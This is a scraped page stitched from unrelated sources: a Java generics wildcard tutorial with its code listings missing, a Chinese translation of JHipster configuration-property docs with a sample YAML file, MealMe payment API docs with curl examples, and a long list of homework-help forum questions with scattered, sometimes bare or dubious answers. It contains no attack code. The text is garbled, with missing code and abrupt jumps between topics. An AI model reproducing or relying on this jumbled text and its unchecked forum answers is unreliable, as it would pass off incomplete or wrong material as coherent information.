The compiler doesn’t know the exact type of the setFirst method but can call it with any object of type Manager, Employee, or Object, but not a subtype such as Executive. However, if you call getFirst, there is no guarantee about the type of the returned object. You can only assign it to an Object. Here is a typical example. We have an array of managers and want to put the manager with the lowest and highest bonus into a Pair object. What kind of Pair? A Pair<Employee>should be fair game or, for that matter, a Pair<Object> (see Figure below). The following method will accept any appropriate Pair:
A wildcard with a supertype bound
A wildcard with a supertype bound
Intuitively speaking, wildcards with supertype bounds let you write to a generic object, wildcards with subtype bounds let you read from a generic objects. Here is another use for supertype bounds. The Comparable interface is itself a generic type. It is declared as follows:
Here, the type variable indicates the type of the other parameter. For example, the String class implements Comparable<String>, and its compareTo method is declared as public intcompareTo(String other)
This is nice—the explicit parameter has the correct type. Before Java SE 5.0, other was an Object, and a cast was necessary in the implementation of the method. Because Comparable is a generic type, perhaps we should have done a better job with the min method of the ArrayAlg class? We could have declared it as public static <T extends Comparable<T>> T min(T[] a)
This looks more thorough than just using T extends Comparable, and it would work fine for many classes. For example, if you compute the minimum of a String array, then T is the type String, and String is a subtype of Comparable <String>. But we run into a problem when processing an array of Gregorian Calendar objects. As it happens, Gregorian Calendar is a subclass of Calendar, and Calendar implements Comparable <Calendar>. Thus, Gregorian Calendar implements Comparable <Calendar> but not Comparable <Gregorian Calendar>.
In a situation such as this one, supertypes come to the rescue:
Maybe it is declared to take an object of type T, or—for example, when T is GregorianCalendar— a supertype of T. At any rate, it is safe to pass an object of type T to the compareTo method. To the uninitiated, a declaration such as <T extends Comparable<? super T>> is bound to look intimidating. This is unfortunate, because the intent of this declaration is to help application programmers by removing unnecessary restrictions on the call parameters. Application programmers with no interest in generics will probably learn quickly to gloss over these declarations and just take for granted that library programmers will do the right thing. If you are a library programmer, you’ll need to get used to wildcards, or your users will curse you and throw random casts at their code until it compiles.
Unbounded Wildcards
You can even use wildcards with no bounds at all, for example, Pair<?>. At first glance, this looks identical to the raw Pair type. Actually, the types are very different. The type Pair<?> has methods such as
The return value of getFirst can only be assigned to an Object. The setFirst method can never be called, not even with an Object. That’s the essential difference between Pair<?> and Pair: you can call the setObject method of the raw Pair class with any Object. Why would you ever want such a wimpy type? It is useful for very simple operations. For example, the following method tests whether a pair contains a given object. It never needs the actual type.
You could have avoided the wildcard type by turning contains into a generic method:
However, the version with the wildcard type seems easier to read.
Wildcard Capture
Let us write a method that swaps the elements of a pair:
A wildcard is not a type variable, so we can’t write code that uses ?as a type. In other words, the following would be illegal:
That’s a problem because we need to temporarily hold the first element when we do the swapping. Fortunately, there is an interesting solution to this problem. We can write a helper method, swapHelper, like this:
Note that swapHelper is a generic method, whereas swap is not—it has a fixed parameter of type Pair<?>.
Now we can call swapHelper from swap:
In this case, the parameter T of the swapHelper method captures the wildcard. It isn’t known what type the wildcard denotes, but it is a definite type, and the definition of <T>swapHelpermakes perfect sense when T denotes that type. Of course, in this case, we were not compelled to use a wildcard. We could have directly implemented <T> void swap(Pair<T> p) as a generic method without wildcards. However, consider this example in which a wildcard type occurs naturally in the middle of a computation:
Here, the wildcard capture mechanism cannot be avoided. Wildcard capture is only legal in very limited circumstances. The compiler must be able to guarantee that the wildcard represents a single, definite type. For example, the T in ArrayList<Pair<T>> can never capture the wildcard in ArrayList<Pair<?>>. The array list might hold two Pair<?>, each of which has a different type for ?.
All rights reserved © 2018 Wisdom IT Services India Pvt. Ltd DMCA.com Protection Status
Core Java Topics
|
__label__pos
| 0.847957 |
JHipster - 常用应用程序属性
JHipster生成一个Spring Boot应用程序,并且可以使用标准的Spring Boot属性机制进行配置。
这些属性由JHipster在生成时配置,并且在开发和生产模式中通常具有不同的值:在我们的配置文件文档中了解更多信息。
在JHipster应用程序中,有三种属性:
1. Spring Boot标准应用程序属性
2. JHipster应用程序属性
3. 应用程序特定的属性
Spring Boot标准应用程序属性
像任何Spring Boot应用程序一样,JHipster允许您配置任何标准的Spring Boot应用程序属性
JHipster应用程序属性
JHipster提供了来自JHipster服务器端库的特定应用程序属性。这些属性是所有JHipster项目的标准属性,但其中一些属性仅适用于您构建应用程序时选择的内容:例如,jhipster.cache.hazelcast如果您选择Hazelcast作为第二级Hibernate缓存,则此项仅适用。
这些属性使用io.github.jhipster.config.JHipsterProperties该类进行配置。
以下是这些属性的文档:
jhipster:
# Thread pool that will be used for asynchronous method calls in JHipster
async:
core-pool-size: 2 # Initial pool size
max-pool-size: 50 # Maximum pool size
queue-capacity: 10000 # Queue capacity of the pool
# Specific configuration for JHipster gateways
# See https://www.jhipster.tech/api-gateway/ for more information on JHipster gateways
gateway:
rate-limiting:
enabled: false # Rate limiting is disabled by default
limit: 100_000L # By default we allow 100,000 API calls
duration-in-seconds: 3_600 # By default the rate limiting is reinitialized every hour
authorized-microservices-endpoints: # Access Control Policy, if left empty for a route, all endpoints will be accessible
app1: /api # recommended prod configuration, it allows the access to all API calls from the "app1" microservice
# HTTP configuration
http:
# V_1_1 for HTTP/1.1 or V_2_0 for HTTP/2.
# To use HTTP/2 you will need SSL support (see the Spring Boot "server.ssl" configuration)
version: V_1_1
#Force the server cipher suite to follow the exact order specifying in server.ssl.ciphers (For perfect forward secrecy)
useUndertowUserCipherSuitesOrder: true
cache: # Used by io.github.jhipster.web.filter.CachingHttpHeadersFilter
timeToLiveInDays: 1461 # Static assets are cached for 4 years by default
# Hibernate 2nd level cache, used by CacheConfiguration
cache:
hazelcast: # Hazelcast configuration
time-to-live-seconds: 3600 # By default objects stay 1 hour in the cache
backup-count: 1 # Number of objects backups
# Configure the Hazelcast management center
# Full reference is available at: http://docs.hazelcast.org/docs/management-center/3.9/manual/html/Deploying_and_Starting.html
management-center:
enabled: false # Hazelcast management center is disabled by default
update-interval: 3 # Updates are sent to the Hazelcast management center every 3 seconds by default
# Default URL for Hazelcast management center when using JHipster's Docker Compose configuration
# See src/main/docker/hazelcast-management-center.yml
# Warning, the default port is 8180 as port 8080 is already used by JHipster
url: http://localhost:8180/mancenter
ehcache: # Ehcache configuration
time-to-live-seconds: 3600 # By default objects stay 1 hour in the cache
max-entries: 100 # Number of objects in each cache entry
infinispan: #Infinispan configuration
config-file: default-configs/default-jgroups-tcp.xml
# local app cache
local:
time-to-live-seconds: 60 # By default objects stay 1 hour (in minutes) in the cache
max-entries: 100 # Number of objects in each cache entry
#distributed app cache
distributed:
time-to-live-seconds: 60 # By default objects stay 1 hour (in minutes) in the cache
max-entries: 100 # Number of objects in each cache entry
instance-count: 1
#replicated app cache
replicated:
time-to-live-seconds: 60 # By default objects stay 1 hour (in minutes) in the cache
max-entries: 100 # Number of objects in each cache entry
# E-mail properties
mail:
from: jhipster@localhost # The default "from" address for e-mails
base-url: http://127.0.0.1:8080 # URL to the application, used inside e-mails
# Spring Security specific configuration
security:
remember-me: # JHipster secure implementation of the remember-me mechanism, for session-based authentication
# security key (this key should be unique for your application, and kept secret)
key: 0b32a651e6a65d5731e869dc136fb301b0a8c0e4
client-authorization: # Used with JHipster UAA authentication
access-token-uri: # URL of the JHipster UAA server OAuth tokens
token-service-id: # ID of the current application
client-id: # OAuth client ID
client-secret: # OAuth client secret
authentication:
jwt: # JHipster specific JWT implementation
secret: # JWT secret key
token-validity-in-seconds: 86400 # Token is valid 24 hours
token-validity-in-seconds-for-remember-me: 2592000 # Remember me token is valid 30 days
# Swagger configuration
swagger:
default-include-pattern: /api/.*
title: JHipster API
description: JHipster API documentation
version: 0.0.1
terms-of-service-url:
contact-name:
contact-url:
contact-email:
license:
license-url:
host:
protocols:
# DropWizard Metrics configuration, used by MetricsConfiguration
metrics:
jmx: # Export metrics as JMX beans
enabled: true # JMX is enabled by default
# Send metrics to a Graphite server
# Use the "graphite" Maven profile to have the Graphite dependencies
graphite:
enabled: false # Graphite is disabled by default
host: localhost
port: 2003
prefix: jhipster
# Send metrics to a Prometheus server
# Use the "prometheus" Maven profile to have the Prometheus dependencies
prometheus:
enabled: false # Prometheus is disabled by default
endpoint: /prometheusMetrics
logs: # Reports Dropwizard metrics in the logs
enabled: false
reportFrequency: 60 # frequency of reports in seconds
# Logging configuration, used by LoggingConfiguration
logging:
logstash: # Forward logs to Logstash over a socket
enabled: false # Logstash is disabled by default
host: localhost # Logstash server URL
port: 5000 # Logstash server port
queue-size: 512 # Queue for buffering logs
spectator-metrics: # Reports Netflix Spectator metrics in the logs
enabled: false # Spectator is disabled by default
# By default cross-origin resource sharing (CORS) is enabled in "dev" mode for
# monoliths and gateways.
# It is disabled by default in "prod" mode for security reasons, and for microservices
# (as you are supposed to use a gateway to access them).
# This configures a standard org.springframework.web.cors.CorsConfiguration
# Note that "exposed-headers" is mandatory for JWT-based security, which uses
# the "Authorization" header, and which is not a default exposed header.
cors:
allowed-origins: "*"
allowed-methods: "*"
allowed-headers: "*"
exposed-headers: "Authorization"
allow-credentials: true
max-age: 1800
# Ribbon displayed on the top left-hand side of JHipster applications
ribbon:
# Comma-separated list of profiles that display a ribbon
display-on-active-profiles: dev
应用程序特定的属性
您生成的应用程序也可以拥有自己的Spring Boot属性。这是强烈推荐的,因为它允许应用程序的类型安全配置,以及IDE中的自动完成和文档。
JHipster已经产生了ApplicationProperties在类config包,它已经被预先配置,并且它在底部的已经记录的application.ymlapplication-dev.ymlapplication-prod.yml文件。你所需要做的就是编写你自己的特定属性。
阅读更多
想对作者说点什么?
博主推荐
换一批
没有更多推荐了,返回首页
|
__label__pos
| 0.662383 |
HomeGuidesAPI Reference
Log In
Guides
Payment
In this guide we'll demonstrate utilizing the Payment APIs for creating orders.
Create Payment Method
In order to create an order using the Create Order API, a payment_method_id representing either your payment method or the end consumer's payment method must be provided.
Here's an example Create Payment Method API request that demonstrates creating a payment method for an example user with the email [email protected] and user ID 7B36A9CF.
curl --request POST \
--url https://api.mealme.ai/payment/create \
--header 'Id-Token: <API KEY>' \
--header 'accept: application/json' \
--header 'content-type: application/json' \
--data '
{
"payment_method": {
"card_number": 4242424242424242,
"expiration_year": 2034,
"expiration_month": 12,
"cvc": 123
},
"user_email": "[email protected]",
"user_id": "7B36A9CF"
}
'
{
"status": "Successfully created payment method",
"payment_method_id": "pm_1MupdLEFrDExIlIkSl6aeDLg"
}
📘
• The first successful request for any given user_email will permanently attach the user_id to the user_email. This means that all subsequent requests including the same user_email must also provide the same user_id, else they will fail.
• A payment_method_id created using your sandbox API key can only be used in Create Order API requests using your sandbox API key. The same applies when using your production API key.
• When using your sandbox API key, the following requirements must be met:
• card_number must be 4242424242424242
• expiration_year and expiration_month must be a valid future date
• cvc can be any 3-digit number
List Payment Methods
All of a user's payment methods, previously created using the Create Payment Method API, can be retrieved using the List Payment Methods API.
Here's an List Payment Methods API example request that demonstrates retrieving payment methods for the example user we created a payment method for in the Create Payment Method guide.
curl --request GET \
--url 'https://api.mealme.ai/payment/list?user_id=7B36A9CF&[email protected]' \
--header 'Id-Token: <API KEY>' \
--header 'accept: application/json'
{
"payment_methods": [
{
"id": "pm_1MupdLEFrDExIlIkSl6aeDLg",
"exp_month": 12,
"exp_year": 2034,
"last4": "4242",
"network": "visa"
}
]
}
📘
• When using your sandbox API key, only payment methods that were created using your sandbox API key will be returned. The same applies when using your production API key.
Delete Payment Method
Here's an Delete Payment Method API example request that demonstrates deleting the payment method that was created for the example user in the Create Payment Method guide.
curl --request POST \
--url https://api.mealme.ai/payment/delete \
--header 'Id-Token: <API KEY>' \
--header 'accept: application/json' \
--header 'content-type: application/json' \
--data '
{
"user_email": "[email protected]",
"user_id": "7B36A9CF",
"payment_method_id": "pm_1MupdLEFrDExIlIkSl6aeDLg"
}
'
{
"status": "Successfully deleted payment method: pm_1MupdLEFrDExIlIkSl6aeDLg"
}
📘
• When using your sandbox API key, only payment methods that were created using your sandbox API key can be deleted. The same applies when using your production API key.
|
__label__pos
| 0.910084 |
Clock jitter or uncertainty
HI,
Is it possible to add jitter or uncertainity to a clock generator VVC?
Say you have a clock of 10 MHz.
Can you specify that it can be between 9.85 MHz and 10.3 MHz for example?
And add a random factor to it?
Or a sweep?
Rgds,
Eric
Hi Eric,
There is no direct support for that today-
A pretty good workaround could be use the set_clock_period command at regular intervals with different periods for sweep, random or whatever. You could actually do that from a dedicated self made prosess, as it is allowed to send commands to the VVC from any number of different processes.
For the jitter you could use the jitter functionality within bitvis_vip_error_injection and connect that to the output of the clock generator.
Alternatively extend the functionality of the existing clock generator and provide a pull request :slight_smile:
– Espen
|
__label__pos
| 0.996373 |
Take the 2-minute tour ×
Stack Overflow is a question and answer site for professional and enthusiast programmers. It's 100% free, no registration required.
I have a text field which is validated before submitting and certain handling of enter and escape buttons. code goes as follows
i.onkeyup = function(e) {
var k = IEBROWSER ? event.keyCode : e.keyCode;
console.log(" onkeyup "+event.keyCode+" "+e.keyCode);
switch(k) {
case 13:
this.onchange();
break;
case 27:
textInvalid=false;
this.cancelEdit();
break;
case 37: case 38: case 39: case 40:
break;
default:
this.validate();
}
}
If i double click on the text field onKeyUp and onKeyDown events are fired with the following logs
onkeyup 67 67
onkeyup 17 17
Does anyone have any idea why it is fired? and why the key code 67 and 17 with single double click?
Here is the fiddle http://jsfiddle.net/Q2wU7/1/
share|improve this question
Well, I can't confirm that. Neither on IE10 nor IE9. I'm running Win7... No keyup event on any mouse action. – t f Aug 14 '13 at 6:30
There is a fiddle, can you check there? I am also running Win7 – sabu Aug 14 '13 at 7:22
Yes, I did exactly that. :) No keyup here. – t f Aug 14 '13 at 13:49
It is still behaving the same. – sabu Aug 18 '13 at 9:54
add comment
Know someone who can answer? Share a link to this question via email, Google+, Twitter, or Facebook.
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Browse other questions tagged or ask your own question.
|
__label__pos
| 0.575855 |
top of page
Market Research Group
Public·10 members
FastCube 2.6.7 Crack: A Fast and Easy Way to Create Data Analysis and Reporting Applications
FastCube 2.6.7 Crack: What You Need to Know
If you are looking for a fast and easy way to create data analysis and reporting applications, you might have heard of FastCube 2.6.7 Crack. But what is it exactly and how can you use it? In this article, we will answer these questions and more. We will explain what FastCube is, what FastCube 2.6.7 is, what FastCube 2.6.7 Crack is, how to download, install and use it, what are the advantages and disadvantages of using it, and what are some alternatives to it. By the end of this article, you will have a clear idea of whether FastCube 2.6.7 Crack is the right tool for you or not.
FastCube 2.6.7 Crack
Download File: https://www.google.com/url?q=https%3A%2F%2Furlin.us%2F2ukJlZ&sa=D&sntz=1&usg=AOvVaw0ZVoZyM40cxUXETLJOXVBs
What is FastCube?
FastCube is a set of components for data analysis and reporting that can be used with Delphi, C++Builder, Lazarus and Free Pascal. It allows you to create data slices, summary tables, reports and graphs from various data sources such as SQL databases, text files, Excel files, XML files and more. You can also export your results to different formats such as PDF, HTML, CSV, XLSX and others. FastCube is designed to be fast, flexible and easy to use. You can create data analysis and reporting applications without writing any code or using any external libraries. You can also customize the appearance and behavior of your applications using various properties, methods and events.
What is FastCube 2.6.7?
FastCube 2.6.7 is the latest version of FastCube that was released on June 9, 2023. It includes several improvements and enhancements over the previous versions such as:
• New components for creating pivot tables and charts
• New functions for calculating statistical indicators such as median, quartiles, standard deviation and more
• New options for filtering data by date ranges, values and expressions
• New features for exporting data to Excel such as grouping, formatting and formulas
• New properties for controlling the layout and appearance of reports such as margins, headers, footers and page numbers
• New events for handling user actions such as clicking, dragging and dropping
• New examples and demos for demonstrating the capabilities of FastCube 2.6.7
• New documentation and help files for explaining the usage of FastCube 2.6.7
FastCube 2.6.7 is compatible with Delphi 10.4 Sydney, C++Builder 10.4 Sydney, Lazarus 2.0.10 and Free Pascal 3.0.4. It supports Windows 32-bit and 64-bit platforms as well as Linux 64-bit platform. It also supports FireDAC, UniDAC, NexusDB, AbsoluteDB and other third-party data access components.
What is FastCube 2.6.7 Crack?
FastCube 2.6.7 Crack is a modified version of FastCube 2.6.7 that allows you to use it without paying for a license. It is usually created by hackers or crackers who bypass the protection mechanisms of FastCube 2.6.7 such as serial numbers, activation codes or online verification. It is usually distributed through websites or forums that offer free downloads of software cracks. FastCube 2.6.7 Crack claims to provide you with all the features and benefits of FastCube 2.6.7 without spending any money. However, it also comes with some risks and drawbacks that you should be aware of before using it. How to Download FastCube 2.6.7 Crack?
If you want to download FastCube 2.6.7 Crack, you need to find a website or a forum that offers it for free. However, you should be careful about the source and the quality of the crack. Some websites or forums may contain malware, viruses or spyware that can harm your computer or steal your personal information. Some cracks may also be outdated, incomplete or corrupted and may not work properly or at all. Therefore, you should always scan the crack file with an antivirus program before opening it and check the comments and reviews of other users who have downloaded it before you.
One possible website that claims to provide FastCube 2.6.7 Crack is Crack4Windows. According to this website, you can download FastCube 2.6.7 Crack by following these steps:
• Click on the "Download" button on the website
• Wait for the download to start and complete
• Extract the zip file to a folder on your computer
• Run the setup file and follow the instructions
• Copy the crack file from the folder and paste it into the installation directory of FastCube 2.6.7
• Enjoy using FastCube 2.6.7 Crack
However, we do not recommend using this website or any other website that offers FastCube 2.6.7 Crack for free. There is no guarantee that the crack is safe, reliable or legal. You may end up damaging your computer, compromising your security or violating the law by using FastCube 2.6.7 Crack.
How to Install FastCube 2.6.7 Crack?
If you have downloaded FastCube 2.6.7 Crack from a reliable source and scanned it with an antivirus program, you can install it on your computer by following these steps:
• Close any running applications on your computer
• Run the setup file of FastCube 2.6.7 Crack and follow the instructions
• Select the components and options that you want to install
• Choose the destination folder where you want to install FastCube 2.6.7 Crack
• Wait for the installation to finish and click on "Finish"
• Copy the crack file from the folder where you downloaded it and paste it into the installation directory of FastCube 2.6.7 Crack
• Replace the original file with the crack file
• Run FastCube 2.6.7 Crack and enjoy using it
Note that you may need to disable your antivirus program temporarily during the installation process as some antivirus programs may detect the crack file as a threat and block it.
How to Use FastCube 2.6.7 Crack?
Once you have installed FastCube 2.6.7 Crack on your computer, you can use it to create data analysis and reporting applications with ease and speed. You can use FastCube 2.6.7 Crack to create data slices, summary tables, reports and graphs from various data sources such as SQL databases, text files, Excel files, XML files and more.
How to Create Data Slices with FastCube 2.6.7 Crack?
A data slice is a subset of data that is selected from a data source based on certain criteria or conditions. You can create data slices with FastCube 2.6.7 Crack using SQL queries or data sources schema.
To create a data slice with SQL query, follow these steps:
• Create a new project in Delphi, C++Builder, Lazarus or Free Pascal and add a TfcxSlice component to your form
• Select the TfcxSlice component and go to its properties window
• Select the DataSource property and choose a data source component that connects to your SQL database such as TADOConnection, TFDConnection or TUniConnection
• Select the SQL property and write a SQL query that selects the data that you want to slice from your database such as SELECT * FROM Customers WHERE Country = 'USA'
|
__label__pos
| 0.710771 |
Thursday
July 24, 2014
Posts by john
Total # Posts: 6,187
math
Paul's Pizzeria sells 45 cheese pizzas and 20 pepperoni pizzas each week. What is the ratio of cheese pizzas to pepperoni pizzas sold each week by Paul's Pizzeria?
Statistics
Suppose the correlation between two variables is -0.57. If each of the y-values is multiplied by -1, which of the following is true about the new scatterplot? It slopes up to the right, and the correlation is -0.57 It slopes up to the right, and the correlation is +0.57 It slo...
Statistics
If you roll a fair die 100 times and 35 of the rolls result in a six, what would be the probability of the outcome of a 2, P(2)? P(2) = 0.02 P(2) = 2 P(2) = 35 P(2) = 0.35
math
Sin(2x)=2sin(x)cos(x) find the exact value in radians with 2sin^2(x)+sin^2(x)=0, i really do not get this question or even how to do this ive been trying to figure it out but cant
math
Sin(2x)=2sin(x)cos(x) find the exact value in radians with 2sin^2(x)+sin^2(x)=0, i really do not get this question or even how to do this ive been trying to figure it out but cant
physics
When archer pulls an arrow back in his bow.He is storing potential energy in his bow What avg force must the archer exert if he pulls the string back a distance of 30 cm?
english(quotes)
The identity you stand up for can enslave you and close you to the rest of the world. -Murathan Mungan What does this quote mean?
Algebra II - Word Problem
If a car is traveling downhill at 45 miles per hour on dry pavement, then the braking distance B is B = 45/(0.4+m), where m<0 is the slope of the road. Find the slope of the road if the braking distance is 125 feet.
Algebra II - Word Problem
I'm guessing it's 48 seconds, but not sure... Thanks!
Algebra II - Word Problem
A convenience store clerk can wait on 6 customers per minute. If customers arrive at an average rate of x people per minute, the time T spent in line is T = 1/(6-x), where 0<x<6 Find the waiting time if an average of 4.75 people arrive each minute.
physics
NEVERMIND I GOT IT
physics
A body of mass m is attracted to a 11 kg mass 31.2cm away with a force magnitude of 6.42 x 10^-8 Find m? I am having trouble with the algebra getting m by it self just show me the steps if you can
Chemistry
37.5 x .152 / 25
Algebra II
A runner completes a 16 mile trip, running 8 miles uphill and 8 miles downhill in a total of 4 hours, if his uphill speed is 3 mph slower than his downhill speed, find his downhill speed.
Statistics
One event A is _________________ of another event B if the probabilty of event A has occurred given event B is the same as the probability that A will occur with no knowledge of B. disjoint mutually exclusive dependent independent
Statistics
If you roll a fair die 100 times and 35 of the rolls result in a six, what would be the probability of the outcome of a 2, P(2)? P(2) = 0.02 P(2) = 2 P(2) = 35 P(2) = 0.35
math
Yes Kate is right. ur sexy too jk
Science
Chl has an absorbance peak at 435nm (Soret band) and a peak at 665nm (Qytransition). Calculate the energy gap (in Joules) between the ground and excited states of these two transitions.
Physics
An advertising firm has contacted your engineering firm to create a new advertisement for a local ice-cream stand. The owner of this stand wants to add rotating solid cones (painted to look like ice-cream cones, of course) to catch the eye of travelers. Each cone will rotate a...
Finance
United Technology Corporation (UTC) has $40 million of convertible bonds outstanding (40,000 bonds at $1,000 par value) with a coupon rate of 11 percent. Interest rates are currently 8 percent for bond of equal risk. The bonds have 15 years left to maturity. The bonds may be c...
physics
A 43.3 kg girl is standing on a 125 kg plank. The plank, originally at rest, is free to slide on a frozen lake, which is a flat, frictionless sup- porting surface. The girl begins to walk along the plank at a constant speed of 1.87 m/s to the right relative to the plank. What ...
physics
A 43.3 kg girl is standing on a 125 kg plank. The plank, originally at rest, is free to slide on a frozen lake, which is a flat, frictionless sup- porting surface. The girl begins to walk along the plank at a constant speed of 1.87 m/s to the right relative to the plank. What ...
physics
A(n) 775 N man stands in the middle of a frozen pond of radius 11.2 m. He is un- able to get to the other side because of a lack of friction between his shoes and the ice. To overcome this difficulty, he throws his 1.3 kg physics textbook horizontally toward the north shore, a...
Statistics
Which of the following statements about the correlation coefficient r are true? I. It is not affected by changes in the measurement units of the variables. II. It is not affected by which variable is called x and which is called y. III. It is not affected by extreme values. I ...
Statistics
Suppose a study finds that the correlation coefficient relating family income and SAT scores is r = +0.98. Which of the following are proper conclusions? I. Poverty causes low SAT scores II. Wealth causes high SAT scores III. There is a very strong association between family i...
math
Q) (Speed) Ahmed drives from Abu Dhabi to Dubai. The journey takes him 1 hour 30min and the distance covered is 130km. What is the average speed at which he was travelling (rounded to the nearest 1km/hr)?
science
What is meant by depassivation of reinforcement? State the two main chemical attacks that lead to depassivation
Physics
A file cabinet weighing 1500 N is at rest on the floor. The coefficient of static friction between the floor and the cabinet is 0.5. What is the minimum force required to make the file cabinet move horizontally
science
Abiotic factors
math
how do you go about doing place value puzzles .can you show me an example please(hundredths place,thousandths place,ones place and tenths place
physis
45
Math
113.50 ? 114.50 ? 115.00
physics
A shopper in a supermarket pushes a loaded 32 kg cart with a horizontal force of 15 N. The acceleration of gravity is 9.81 m/s2 . a) Disregarding friction, how far will the cart move in 3.3 s, starting from rest? Answer in units of m
Organic chemistry
Help me find my percent yield for my witting reaction experiment.... The weight of my final product was: 0.13 I put 0.40 g of benzyltriphenylphosphonium chloride, 0.23 g of 9-anthraldehyde and 1.0ml DMF and 0.5ml of aqueous sodium hydroxide into the flask at the start of the e...
Chemistry
Help me find my percent yield for my witting reaction experiment.... The weight of my final product was: 0.13 I put 0.40 g of benzyltriphenylphosphonium chloride, 0.23 g of 9-anthraldehyde and 1.0ml DMF and 0.5ml of aqueous sodium hydroxide into the flask at the start of the e...
Organic Chemistry
chlorobutane, chloride ion is weaker leaving group
Statistics
Suppose the correlation between two variables is -0.57. If each of the y-values is multiplied by -1, which of the following is true about the new scatterplot? It slopes up to the right, and the correlation is -0.57 It slopes up to the right, and the correlation is +0.57 It slo...
Statistics
New York and Pennsylvania have progressive toll roads. Upon entering the toll road the driver receives a ticket marking the location and time of entrance. Upon exiting the mileage is computed and the driver pays the toll. Which of the following would you expect to be true abou...
science
Assume an average human cell has a cell cycle of 20 hours. Calculate how many cells there would be after 80 hours.
social studies
what resources did early native american used
Physics
A freight train has a mass of 1.7 × 10^7 kg. If the locomotive can exert a constant pull of 5.2 × 10^5 N, how long would it take to increase the speed of the train from rest to 74.6 km/h? Disregard friction. Answer in units of s
fractions from least to greatest
can you list 3/4, 3/5, and 5/6 from least to greatest
History,Art
Yes I have, I need to provide information about her and her life but I need to know her name.
History,Art
I need to find a picture of 2 paintings: Crimson Rambler by Philip Hale and Automat by Edward Hopper. I also need some assistance with this assignment involving these two paintings. I have to outline a story I would write about the woman in the paintings(I'm supposed to pr...
Pre Calc
How to prove tan4x = 1-8 sin squared of cos squared of x
chemistry
Sodium sulfate is slowly added to a solution containing 0.0500 M Ca2 (aq) and 0.0230 M Ag (aq). What will be the concentration of Ca2 (aq) when Ag2SO4(s) begins to precipitate? What percentage of the Ca2 (aq) can be separated from the Ag (aq) by selective precipitation?
grammar
SSS means a compound subject and PPP means a compound predicate if i am right .(1) Blue flages and green rushes grew along the river.I underline blue flags and green rushes once,and grew along bthe river. twice.(2)I underline the flat creek bed once and was made of warm, soft ...
grammar
can you underline the complete subject and the complete predicate of these sentences.show by stating (SSS)and(PPP)also.(1)Blue flags and green rushes grew along the river.(2)The flat creek bed was made of warm ,soft mud. (3)Laura hopped and splashed in the cool creek.(4)The gi...
Math
10/12=x/36 360/12=30 yds 1296 inches converted into yards is 36 yds
Statistics
A random sample of 250 men yielded 175 who said they'd ridden a motorcycle at some time in their lives, while a similar sample of 215 women yielded only 43 that had done so. Find a 99% confidence interval for the difference between the proportions of men and women who have...
Statistics
@MathGuru you're useless. You only solve the obvious and then leave us hanging.
Statistics
A random sample of 384 people in Dalto City, a mid-sized city, revealed 112 individuals who work at more than one job. A second random sample of 432 workers from East Dettweiler, another mid-sized city, found 91 people who work at more than one job. To conduct a significance t...
biology
In which sequence did aerobes, anaerobes, chemolithotrophs and cyanobacteria evolve? What evidence is there to support your answer. If someone can answer please. I think its talk about how cyanbactoria evolve.
statistics
A random sample of 250 men yielded 175 who said they'd ridden a motorcycle at some time in their lives, while a similar sample of 215 women yielded only 43 that had done so. Find a 99% confidence interval for the difference between the proportions of men and women who have...
statistics
A random sample of 384 people in Dalto City, a mid-sized city, revealed 112 individuals who work at more than one job. A second random sample of 432 workers from East Dettweiler, another mid-sized city, found 91 people who work at more than one job. To conduct a significance t...
Maths
Let f(x) = tan(x). What is the formula for the conditioning number of f? Evaluate this formula for x =(π/4), 1.01, 1.26, 1.51 (in radians, working to 3 signifi cant figures, the precision that is implicit in this data). Replace each of the expressions for x by its approxi...
Physics
Hmm this is probably wrong but I was thinking of something like this: M1 = the mass that was in one of the holes R2 = the radius of one of the holes M = mass of the whole original disk R = radius of whole original disk I think the following relation makes sense: M1(R/2)^2 = 0....
Physics
No problem. For my question, I know the goal is to basically subtract the inertia's of the 3 holes from the whole disk's inertia, 0.5*MR^2, but I think what I'm stuck on is how to find that value, or relate it to what we know. The final inertia needs to be 0.81(0.5...
Physics
To reduce its rotational inertia, an engineer proposes drilling three holes in a large wheel of radius R. The holes are to be centered midway between the center and edge of the wheel. What should be their radii (in terms of R) if drilling the holes is to reduce the rotational ...
trig
2 cos(theta-13)= square root of 3
maths
a multiply b =12 b multiply c=13 c multiply d=14 what is the answer for abcd=???
Calculus
Find the volume of the solid obtained by rotating the region enclosed by y=x^3, y=25x, x ≥ 0
Calculus
Find the volume of the solid obtained by rotating the region enclosed by y=x^3, y=25x, x ≥ 0
science
What volume of a 6.0 M NaOH solution would you need to prepare 250.0 milliliters of a 3.0 M NaOH solution?
statistic
in a random sample of 400 voter, 120 plan to vote for candidate A. determine a 95% confidence interval
Physics
Which of the following equations describes the condition for observing the fourth bright fringe in Young's double-slit interference pattern? Assume n = 0 for the central bright fringe. d sinθ = λ d sinθ = 3λ/2 d sinθ = 3λ d sinθ = 4λ
Physics
What is the critical angle of light traveling from benzene (n=1.501) into air? 40.05o 48.22o 41.78o 62.63o
Physics, newtons laws
Let L=length of string=120cm Tsin(a)=mv^2/R, R=Lsin(a), T=mg/cos(a) mgtan(a)=mv^2/Lsin(a), mgsin^2(a)=mv^2cos(a)/L, g(1-cos^2(a))=v^2/L (cos(a)) gLcos^2(a)+v^2cos(a)-gL=0 let x=cos(a), use quadratic formula to solve for x x= (-v^2+sqrt(v^2+4L^2*g^2))/2Lg a=acos(x)=25 degrees
geology
what is the Sample Locality Age (Million years)in Granite: Scottish Highlands, Gabbro: Sudbury Canada and Gneiss: Greenland?
physics
Suppose you waik 18.0m straight west and then 25.o m straight north. How far are you from your starting point and what is the compass direction of a line connecting your starting point to yourfinal position?
science
10.6
science
How tall is the tree if the sun is at a 53° angle above the horizon and the shadow is 8.0 meters long?
Calculus
A baseball diamond is a 90 foot square with the pitcher's mound at the square's center. A runner races for home at 25 ft/sec. How fast is his distance from the pitcher changing as he crosses the plate?
Algebra (Graphing Functions)
Actually I figured it out.
Algebra (Graphing Functions)
Consider the following function. f(x) = −3x if x < −2 x2 if −2 ≤ x < 2 −3 if x ≥ 2 Please help me find the intervals on which f is increasing, is decreasing, or is constant(in interval notation). As well as the x and y intercepts for t...
literature
Reflecting on this week’s literary readings, as well as your own reading experiences, identify at least one major similarity and one major difference between the forms of the short story and the poem. How do the differences between these literary forms affect how you read...
physics
A ball is attached to one end of a wire, the other end being fastened to the ceiling. The wire is held horizontal, and the ball is released from rest (see the drawing). It swings downward and strikes a block initially at rest on a horizontal frictionless surface. Air resistanc...
Boolean algebra
Simplify this function using Boolean algebra laws? I am stuck on this part of my homework (x2'x1'x0') + (x2'x1x0) + (x2x1x0') I know you have to use distributive laws to do this. Any help is appreciated. Thank you.
ict
I need help woth my cross word
Physics
